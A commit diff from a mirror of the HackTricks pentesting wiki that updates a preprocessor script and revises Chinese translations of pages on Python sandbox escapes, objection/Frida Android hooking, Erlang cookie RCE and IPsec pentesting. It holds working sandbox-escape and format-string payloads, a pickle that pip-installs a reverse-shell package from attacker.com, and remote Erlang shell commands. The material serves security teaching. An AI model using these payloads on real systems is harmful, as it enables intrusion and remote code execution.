maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/generic-methodologies-and-resources/python/bypass-pytho

Browse Source
This commit is contained in:
Translator 2025-01-05 16:10:45 +00:00
parent 88208b9ace
commit a229e3075d
18 changed files with 394 additions and 333 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

30
hacktricks-preprocessor.py
View File

@ -1,4 +1,5 @@
import json
import os
import sys
import re
import logging
@ -68,6 +69,33 @@ def ref(matchobj):
return result
def files(matchobj):
logger.debug(f'Files match: {matchobj.groups(0)[0].strip()}')
href = matchobj.groups(0)[0].strip()
title = ""
try:
for root, dirs, files in os.walk(os.getcwd()+'/src/files'):
if href in files:
title = href
logger.debug(f'File search result: {os.path.join(root, href)}')
except Exception as e:
logger.debug(e)
logger.debug(f'Error searching file: {href}')
print(f'Error searching file: {href}')
sys.exit(1)
if title=="":
logger.debug(f'Error searching file: {href}')
print(f'Error searching file: {href}')
sys.exit(1)
template = f"""<a class="content_ref" href="/files/{href}"><span class="content_ref_label">{title}</span></a>"""
result = template
return result
def add_read_time(content):
regex = r'(<\/style>\n# .*(?=\n))'
@ -105,6 +133,8 @@ if __name__ == '__main__':
current_chapter = chapter
regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
new_content = re.sub(regex, ref, chapter['content'])
regex = r'{{[\s]*#file[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endfile[\s]*}}'
new_content = re.sub(regex, files, chapter['content'])
new_content = add_read_time(new_content)
chapter['content'] = new_content

60
src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md
View File

@ -6,7 +6,7 @@
## 命令执行库
你需要知道的第一件事是，你是否可以直接使用某个已导入的库执行代码，或者你是否可以导入以下任何库：
您需要知道的第一件事是，您是否可以直接使用某个已导入的库执行代码，或者您是否可以导入这些库中的任何一个：
```python
os.system("ls")
os.popen("ls").read()
@ -41,8 +41,7 @@ system('ls')
```
记住，_**open**_ 和 _**read**_ 函数可以用于 **读取文件** 在 python 沙箱内，并 **编写一些代码** 你可以 **执行** 来 **绕过** 沙箱。
> [!CAUTION]
> **Python2 input()** 函数允许在程序崩溃之前执行 python 代码。
> [!CAUTION] > **Python2 input()** 函数允许在程序崩溃之前执行 python 代码。
Python 尝试 **首先从当前目录加载库**（以下命令将打印 python 从哪里加载模块）： `python3 -c 'import sys; print(sys.path)'`
@ -53,7 +52,7 @@ Python 尝试 **首先从当前目录加载库**（以下命令将打印 python
### 默认包
你可以在这里找到 **预安装包的列表**：[https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
请注意，从一个 pickle 中你可以使 python 环境 **导入系统中安装的任意库**。\
请注意，从一个 pickle 中，你可以使 python 环境 **导入系统中安装的任意库**。\
例如，以下 pickle 在加载时将导入 pip 库以使用它：
```python
#Note that here we are importing the pip library so the pickle is created correctly
@ -80,17 +79,19 @@ pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
```
您可以在此处下载创建反向 shell 的包。请注意，在使用之前，您应该 **解压缩它，修改 `setup.py`，并输入您的反向 shell 的 IP**：
{% file src="../../../images/Reverse.tar (1).gz" %}
{{#file}}
Reverse.tar (1).gz
{{#endfile}}
> [!NOTE]
> 这个包被称为 `Reverse`。然而，它是特别制作的，以便当您退出反向 shell 时，其余的安装将失败，因此您 **在离开时不会在服务器上留下任何额外的 python 包**。
> 该包名为 `Reverse`。然而，它是特别制作的，以便在您退出反向 shell 时，其余的安装将失败，因此您 **在离开时不会在服务器上留下任何额外的 python 包**。
## Eval-ing python code
## 评估 python 代码
> [!WARNING]
> 请注意，exec 允许多行字符串和“;”，但 eval 不允许（检查海象运算符）
如果某些字符被禁止，您可以使用 **hex/octal/B64** 表示法来 **绕过** 限制：
如果某些字符被禁止，您可以使用 **十六进制/八进制/B64** 表示法来 **绕过** 限制：
```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -303,8 +304,8 @@ pass
```
## 内置
- [**python2 的内置函数**](https://docs.python.org/2/library/functions.html)
- [**python3 的内置函数**](https://docs.python.org/3/library/functions.html)
- [**Python2 的内置函数**](https://docs.python.org/2/library/functions.html)
- [**Python3 的内置函数**](https://docs.python.org/3/library/functions.html)
如果你可以访问 **`__builtins__`** 对象，你可以导入库（注意你也可以在最后一节中使用其他字符串表示）：
```python
@ -400,15 +401,15 @@ class_obj.__init__.__globals__
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
```
[**下面有一个更大的函数**](#recursive-search-of-builtins-globals) 来查找数十/**数百**个可以找到 **globals** 的 **地方**。
[**下面有一个更大的函数**](#recursive-search-of-builtins-globals) 用于查找数十/**数百**个可以找到 **globals** 的 **地方**。
## 发现任意执行
在这里，我想解释如何轻松发现 **加载的更危险功能** 并提出更可靠的利用方法。
#### 访问带有绕过的子类
#### 通过绕过访问子类
此技术最敏感的部分之一是能够 **访问基础子类**。在之前的示例中，这是通过 `''.__class__.__base__.__subclasses__()` 完成的，但还有 **其他可能的方法**：
此技术最敏感的部分之一是能够 **访问基本子类**。在之前的示例中，这是通过 `''.__class__.__base__.__subclasses__()` 完成的，但还有 **其他可能的方法**：
```python
#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
@ -534,10 +535,10 @@ execute:
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
"""
```
## 递归搜索内置对象、全局对象...
## 递归搜索内置对象、全局变量...
> [!WARNING]
> 这真是**太棒了**。如果你**正在寻找像 globals、builtins、open 或其他任何对象**，只需使用这个脚本来**递归查找可以找到该对象的地方。**
> 这真是**太棒了**。如果你**正在寻找像 globals、builtins、open 或其他任何对象**，只需使用这个脚本**递归查找可以找到该对象的地方。**
```python
import os, sys # Import these to find more gadgets
@ -661,7 +662,7 @@ https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-
## Python 格式字符串
如果您**发送**一个将要**格式化**的**字符串**到 python，您可以使用 `{}` 来访问**python 内部信息。** 您可以使用之前的示例来访问全局变量或内置函数，例如。
如果您**发送**一个将要**格式化**的**字符串**给 python，您可以使用 `{}` 来访问**python 内部信息。** 您可以使用之前的示例来访问全局变量或内置函数，例如。
```python
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
@ -681,7 +682,7 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)
```
注意你可以通过 **点** 的方式正常 **访问属性**，例如 `people_obj.__init__`，而使用 **括号** 访问 **字典元素**，不带引号 `__globals__[CONFIG]`。
注意你可以通过 **点** 的方式正常 **访问属性**，例如 `people_obj.__init__`，而使用 **括号** 访问 **字典元素**，且不需要引号 `__globals__[CONFIG]`。
还要注意，你可以使用 `.__dict__` 来枚举对象的元素 `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`。
@ -701,7 +702,7 @@ return 'HAL 9000'
'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.
```
**更多关于** **格式** **字符串** **的示例** 可以在 [**https://pyformat.info/**](https://pyformat.info) 找到。
**更多关于** **格式** **字符串** 示例的例子可以在 [**https://pyformat.info/**](https://pyformat.info) 找到
> [!CAUTION]
> 还请查看以下页面，了解将从 Python 内部对象中**读取敏感信息**的工具：
@ -732,16 +733,16 @@ str(x) # Out: clueless
### 从格式到 RCE 加载库
根据 [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/)，可以通过利用 python 中的格式字符串漏洞从磁盘加载任意库。
根据 [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/)，可以通过利用 Python 中的格式字符串漏洞从磁盘加载任意库。
作为提醒，每次在 python 中执行操作时，都会执行某个函数。例如 `2*3` 将执行 **`(2).mul(3)`** 或 **`{'a':'b'}['a']`** 将是 **`{'a':'b'}.__getitem__('a')`**。
作为提醒，每次在 Python 中执行操作时，都会执行某个函数。例如 `2*3` 将执行 **`(2).mul(3)`** 或 **`{'a':'b'}['a']`** 将是 **`{'a':'b'}.__getitem__('a')`**。
在 [**Python execution without calls**](#python-execution-without-calls) 部分中还有更多类似的内容。
python 格式字符串漏洞不允许执行函数（不允许使用括号），因此无法像 `'{0.system("/bin/sh")}'.format(os)` 那样获得 RCE。\
然而，可以使用 `[]`。因此，如果一个常见的 python 库具有 **`__getitem__`** 或 **`__getattr__`** 方法来执行任意代码，则可以利用它们来获得 RCE。
Python 格式字符串漏洞不允许执行函数（不允许使用括号），因此无法像 `'{0.system("/bin/sh")}'.format(os)` 这样获得 RCE。\
然而，可以使用 `[]`。因此，如果一个常见的 Python 库具有 **`__getitem__`** 或 **`__getattr__`** 方法来执行任意代码，则可以利用它们来获得 RCE。
在 python 中寻找这样的 gadget，写作中提供了这个 [**Github 搜索查询**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code)。他在这里找到了这个 [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
在 Python 中寻找这样的 gadget，写作提供了这个 [**Github 搜索查询**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code)。他在这里找到了这个 [一个](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
```python
class LibraryLoader(object):
def __init__(self, dlltype):
@ -763,7 +764,7 @@ return getattr(self, name)
cdll = LibraryLoader(CDLL)
pydll = LibraryLoader(PyDLL)
```
这个工具允许**从磁盘加载库**。因此，需要以某种方式**将库写入或上传到被攻击的服务器**，以便正确加载。
这个工具允许**从磁盘加载库**。因此，需要以某种方式**写入或上传库**，以便正确编译到被攻击的服务器。
```python
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
```
@ -897,7 +898,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
```
注意，如果**您无法在python沙箱中导入`dis`**，您可以获取函数的**字节码**（`get_flag.func_code.co_code`）并在本地**反汇编**它。您将看不到正在加载的变量的内容（`LOAD_CONST`），但您可以从（`get_flag.func_code.co_consts`）中推测它们，因为`LOAD_CONST`也会告诉正在加载的变量的偏移量。
注意，如果您无法在 Python 沙箱中导入 `dis`，您可以获取函数的 **字节码** (`get_flag.func_code.co_code`) 并在本地 **反汇编** 它。您将看不到正在加载的变量的内容 (`LOAD_CONST`)，但您可以从 (`get_flag.func_code.co_consts`) 猜测它们，因为 `LOAD_CONST` 还告诉您正在加载的变量的偏移量。
```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1)
@ -957,7 +958,7 @@ mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
```
> [!NOTE]
> 根据 Python 版本，`code_type` 的 **参数** 可能有 **不同的顺序**。了解您正在运行的 Python 版本中参数的顺序的最佳方法是运行：
> 根据 Python 版本，`code_type` 的 **参数** 可能有 **不同的顺序**。了解您正在运行的 Python 版本中参数顺序的最佳方法是运行：
>
> ```
> import types
@ -968,7 +969,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
### 重新创建一个泄露的函数
> [!WARNING]
> 在以下示例中，我们将直接从函数代码对象中获取重新创建该函数所需的所有数据。在 **真实示例** 中，执行函数 **`code_type`** 所需的 **值** 是 **您需要泄露的内容**。
> 在以下示例中，我们将直接从函数代码对象中获取重新创建函数所需的所有数据。在 **真实示例** 中，执行函数 **`code_type`** 所需的 **值** 是 **您需要泄露的内容**。
```python
fc = get_flag.__code__
# In a real situation the values like fc.co_argcount are the ones you need to leak
@ -981,7 +982,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
```
### 绕过防御
在本文开头的前几个示例中，您可以看到 **如何使用 `compile` 函数执行任何 python 代码**。这很有趣，因为您可以 **在一行中执行整个脚本**，包括循环和其他内容（我们也可以使用 **`exec`** 做同样的事情）。\
在本文开头的前几个示例中，您可以看到 **如何使用 `compile` 函数执行任何 python 代码**。这很有趣，因为您可以 **在一行代码中执行整个脚本**，包括循环等（我们也可以使用 **`exec`** 做同样的事情）。\
无论如何，有时在本地机器上 **创建** 一个 **编译对象** 并在 **CTF 机器** 上执行它可能是有用的（例如，因为我们在 CTF 中没有 `compiled` 函数）。
例如，让我们手动编译并执行一个读取 _./poc.py_ 的函数：
@ -1011,7 +1012,7 @@ mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()
```
如果您无法访问 `eval` 或 `exec`，您可以创建一个 **适当的函数**，但直接调用它通常会失败，错误信息为：_构造函数在受限模式下不可访问_。因此，您需要一个 **不在受限环境中的函数来调用这个函数。**
如果您无法访问 `eval` 或 `exec`，您可以创建一个 **适当的函数**，但直接调用它通常会失败，错误信息为：_在受限模式下构造函数不可访问_。因此，您需要一个 **不在受限环境中的函数来调用这个函数。**
```python
#Compile a regular print
ftype = type(lambda: None)
@ -1054,5 +1055,4 @@ print(f"\nNot a Super User!!!\n")
- [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)
- [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
{{#include ../../../banners/hacktricks-training.md}}

40
src/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md
View File

@ -2,8 +2,6 @@
{{#include ../../../banners/hacktricks-training.md}}
## **介绍**
**objection - 运行时移动探索**
@ -14,15 +12,17 @@
### 简介
**objection** 的 **目标** 是让用户调用 **Frida 提供的主要操作**。**否则**，用户将需要为每个想要测试的应用程序创建 **单个脚本**。
**objection** 的 **目标** 是让用户调用 **Frida 提供的主要操作**。**否则**，用户需要为每个想要测试的应用程序创建 **单个脚本**。
## 教程
在本教程中，我将使用您可以在此处下载的 APK：
{% file src="../../../images/app-release.zip" %}
{{#file}}
app-release.zip
{{#endfile}}
或从其 [原始仓库](https://github.com/asvid/FridaApp)（下载 app-release.apk）
或从其 [原始仓库](https://github.com/asvid/FridaApp)(下载 app-release.apk)
### 安装
```bash
@ -30,7 +30,7 @@ pip3 install objection
```
### 连接
建立一个 **常规 ADB 连接** 并 **启动** 设备上的 **frida** 服务器（并检查 frida 在客户端和服务器上是否正常工作）。
建立一个 **常规 ADB 连接** 并 **启动** 设备上的 **frida** 服务器（并检查 frida 在客户端和服务器上都能正常工作）。
如果您使用的是 **root 设备**，则需要在 _**--gadget**_ 选项中选择您想要测试的应用程序。在这种情况下：
```bash
@ -84,9 +84,9 @@ android ui FLAG_SECURE false #This may enable you to take screenshots using the
```
### 静态分析变为动态
在真实应用中，我们应该在使用 objection 之前了解这一部分发现的所有信息，这得益于 **静态分析**。无论如何，这种方式也许可以让你看到 **一些新东西**，因为在这里你将仅获得一个完整的类、方法和导出对象的列表。
在真实应用中，我们应该在使用 objection 之前了解这一部分发现的所有信息，这得益于 **静态分析**。无论如何，这样做也许可以让你看到 **一些新东西**，因为在这里你将仅获得一个完整的类、方法和导出对象的列表。
如果你以某种方式 **无法获取应用的可读源代码**，这也是有用的。
如果你以某种方式 **无法获取应用的可读源代码**，这也是很有用的。
#### 列出活动、接收器和服务
```bash
@ -113,7 +113,7 @@ android hooking search classes asvid.github.io.fridaapp
```
![](<../../../images/image (507).png>)
#### 搜索类的方法
#### 类的方法搜索
现在让我们提取类 _MainActivity:_ 中的方法：
```bash
@ -135,13 +135,13 @@ android hooking list class_methods asvid.github.io.fridaapp.MainActivity
```bash
android hooking list classes #List all loaded classes, As the target application gets usedmore, this command will return more classes.
```
这在你想要**挂钩一个类的方法而你只知道类的名称**时非常有用。你可以使用这个函数来**搜索哪个模块拥有这个类**，然后挂钩它的方法。
这在你想要**钩住一个类的方法而你只知道类的名称**时非常有用。你可以使用这个函数来**搜索哪个模块拥有这个类**，然后钩住它的方法。
### 挂钩变得简单
### 钩住变得简单
#### 挂钩（监视）一个方法
#### 钩住（监视）一个方法
从[源代码](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt)中我们知道**函数**_**sum()**_**来自**_**MainActivity**_**每秒运行一次**。让我们尝试在每次调用该函数时**转储所有可能的信息**（参数、返回值和回溯）：
从[源代码](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt)中我们知道**函数** _**sum()**_ **来自** _**MainActivity**_ **每秒**运行一次。让我们尝试在每次调用该函数时**转储所有可能的信息**（参数、返回值和回溯）：
```bash
android hooking watch class_method asvid.github.io.fridaapp.MainActivity.sum --dump-args --dump-backtrace --dump-return
```
@ -149,11 +149,11 @@ android hooking watch class_method asvid.github.io.fridaapp.MainActivity.sum --d
#### Hooking (watching) an entire class
实际上，我发现 MainActivity 类的所有方法都非常有趣，让我们**全部 hook 住**。小心，这可能会**崩溃**一个应用程序。
实际上，我发现 MainActivity 类的所有方法都非常有趣，让我们**全部 hook 他们**。小心，这可能会**崩溃**一个应用程序。
```bash
android hooking watch class asvid.github.io.fridaapp.MainActivity --dump-args --dump-return
```
如果您在类被挂钩时与应用程序进行交互，您将看到**每个函数被调用的时间**、其**参数**和**返回**值。
如果您在类被挂钩时与应用程序进行交互，您将看到**每个函数被调用的时间**、它的**参数**和**返回**值。
![](<../../../images/image (861).png>)
@ -177,7 +177,7 @@ android heap print_instances <class>
### Keystore/Intents
您可以使用以下方法玩弄 keystore 和 intents：
您可以使用以下方法操作 keystore 和 intents：
```bash
android keystore list
android intents launch_activity
@ -219,8 +219,10 @@ memory write "<address>" "<pattern eg: 41 41 41 41>" (--string)
```bash
exit
```
## 我在 Objection 中缺失的内容
## 我在 Objection 中错过了什么
- 钩子方法有时会导致应用程序崩溃（这也是因为 Frida）。
- hooking 方法有时会导致应用程序崩溃（这也是因为 Frida）。
- 你不能使用类的实例来调用实例的函数。你也不能创建类的新实例并使用它们来调用函数。
- 没有快捷方式（像 sslpinnin 那样）来钩住应用程序使用的所有常见加密方法，以查看加密文本、明文、密钥、IV 和使用的算法。
- 没有像 sslpinnin 那样的快捷方式来 hook 应用程序使用的所有常见加密方法，以查看加密文本、明文、密钥、IV 和使用的算法。
{{#include ../../../banners/hacktricks-training.md}}

10
src/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md
View File

@ -40,9 +40,9 @@ PORT STATE SERVICE VERSION
```
# Erlang Cookie RCE
## 远程连接
## Remote Connection
如果您能够**泄露认证 cookie**，您将能够在主机上执行代码。通常，这个 cookie 位于 `~/.erlang.cookie`，并在 Erlang 首次启动时生成。如果没有手动修改或设置，它是一个长度为 20 个字符的随机字符串 \[A:Z]。
如果你能**泄露认证 cookie**，你将能够在主机上执行代码。通常，这个 cookie 位于 `~/.erlang.cookie`，并在 Erlang 首次启动时生成。如果没有手动修改或设置，它是一个长度为 20 个字符的随机字符串 \[A:Z]。
```bash
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
@ -54,10 +54,12 @@ At last, we can start an erlang shell on the remote system.
(test@target.fqdn)1>os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"
```
更多信息请见 [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\
更多信息请访问 [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\
作者还分享了一个用于暴力破解 cookie 的程序：
{% file src="../images/epmd_bf-0.1.tar.bz2" %}
{{#file}}
epmd_bf-0.1.tar.bz2
{{#endfile}}
## 本地连接

56
src/network-services-pentesting/ipsec-ike-vpn-pentesting.md
View File

@ -4,13 +4,13 @@
## 基本信息
**IPsec** 被广泛认为是保护网络之间（LAN-to-LAN）和从远程用户到网络网关（远程访问）通信的主要技术，是企业 VPN 解决方案的支柱。
**IPsec** 被广泛认为是保护网络之间（LAN到LAN）和从远程用户到网络网关（远程访问）通信的主要技术，是企业VPN解决方案的支柱。
在两个点之间建立 **安全关联（SA）** 的过程由 **IKE** 管理，IKE 在 ISAKMP 的框架下运行，ISAKMP 是一个用于身份验证和密钥交换的协议。这个过程分为几个阶段：
在两个点之间建立**安全关联（SA）**的过程由**IKE**管理，IKE在ISAKMP的框架下运行，ISAKMP是一个用于身份验证和密钥交换的协议。这个过程分为几个阶段：
- **阶段 1：** 在两个端点之间创建一个安全通道。这是通过使用预共享密钥（PSK）或证书来实现的，采用主模式，该模式涉及三对消息，或 **激进模式**。
- **阶段 1.5：** 虽然不是强制性的，但这一阶段被称为扩展认证阶段，通过要求用户名和密码来验证试图连接的用户的身份。
- **阶段 2：** 这一阶段专注于协商用于保护数据的 **ESP** 和 **AH** 的参数。它允许使用与阶段 1 中不同的算法，以确保 **完美前向保密（PFS）**，增强安全性。
- **阶段1：** 在两个端点之间创建一个安全通道。这是通过使用预共享密钥（PSK）或证书来实现的，采用主模式，该模式涉及三对消息，或**激进模式**。
- **阶段1.5：** 虽然不是强制性的，这个阶段被称为扩展认证阶段，通过要求用户名和密码来验证试图连接的用户的身份。
- **阶段2：** 这个阶段专注于协商用于保护数据的**ESP**和**AH**的参数。它允许使用与阶段1不同的算法，以确保**完美前向保密（PFS）**，增强安全性。
**默认端口：** 500/udp
@ -44,9 +44,9 @@ Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 retur
如您在之前的回复中所见，有一个字段叫做 **AUTH**，其值为 **PSK**。这意味着 VPN 是使用预共享密钥配置的（这对渗透测试人员来说非常好）。\
**最后一行的值也非常重要：**
